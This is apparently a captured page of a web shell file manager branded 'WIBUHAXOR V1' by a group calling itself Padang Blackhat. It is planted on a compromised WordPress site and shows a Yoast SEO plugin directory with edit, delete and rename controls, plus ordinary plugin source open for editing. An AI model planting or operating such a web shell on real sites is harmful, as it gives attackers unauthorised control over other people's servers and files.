-
WIBUHAX0R1337
-
/
home
/
coludnqa
/
rohihbs.com
/
wp-content
/
plugins
/
wordpress-seo
/
src
/
routes
/
[ Home ]
Create Folder
Create File
Nama File / Folder
Size
Action
abstract-action-route.php
0.619KB
Edit File
Delete File
Rename
abstract-indexation-route.php
0.879KB
Edit File
Delete File
Rename
alert-dismissal-route.php
2.329KB
Edit File
Delete File
Rename
endpoint-interface.php
0.432KB
Edit File
Delete File
Rename
first-time-configuration-route.php
8.061KB
Edit File
Delete File
Rename
importing-route.php
4.068KB
Edit File
Delete File
Rename
indexables-head-route.php
2.393KB
Edit File
Delete File
Rename
indexing-route.php
12.33KB
Edit File
Delete File
Rename
integrations-route.php
2.188KB
Edit File
Delete File
Rename
meta-search-route.php
1.951KB
Edit File
Delete File
Rename
route-interface.php
0.261KB
Edit File
Delete File
Rename
semrush-route.php
6.257KB
Edit File
Delete File
Rename
supported-features-route.php
1.279KB
Edit File
Delete File
Rename
wincher-route.php
8.75KB
Edit File
Delete File
Rename
workouts-route.php
3.099KB
Edit File
Delete File
Rename
yoast-head-rest-field.php
5.795KB
Edit File
Delete File
Rename
<?php namespace Yoast\WP\SEO\Routes; use WP_REST_Response; use Yoast\WP\SEO\Conditionals\Addon_Installation_Conditional; use Yoast\WP\SEO\Main; /** * Supported_Features_Route class. */ class Supported_Features_Route implements Route_Interface { /** * Represents the supported features route. * * @var string */ public const SUPPORTED_FEATURES_ROUTE = '/supported-features'; /** * Returns the conditionals based in which this loadable should be active. * * @return array */ public static function get_conditionals() { return [ Addon_Installation_Conditional::class, ]; } /** * Registers routes with WordPress. * * @return void */ public function register_routes() { $supported_features_route = [ 'methods' => 'GET', 'callback' => [ $this, 'get_supported_features' ], 'permission_callback' => '__return_true', ]; \register_rest_route( Main::API_V1_NAMESPACE, self::SUPPORTED_FEATURES_ROUTE, $supported_features_route ); } /** * Returns a list of features supported by this yoast seo installation. * * @return WP_REST_Response a list of features supported by this yoast seo installation. */ public function get_supported_features() { return new WP_REST_Response( [ 'addon-installation' => 1, ] ); } }
Save!!!
© 2022 - 2023 WIBUHAXOR V1 By Lutfifakee || Padang Blackhat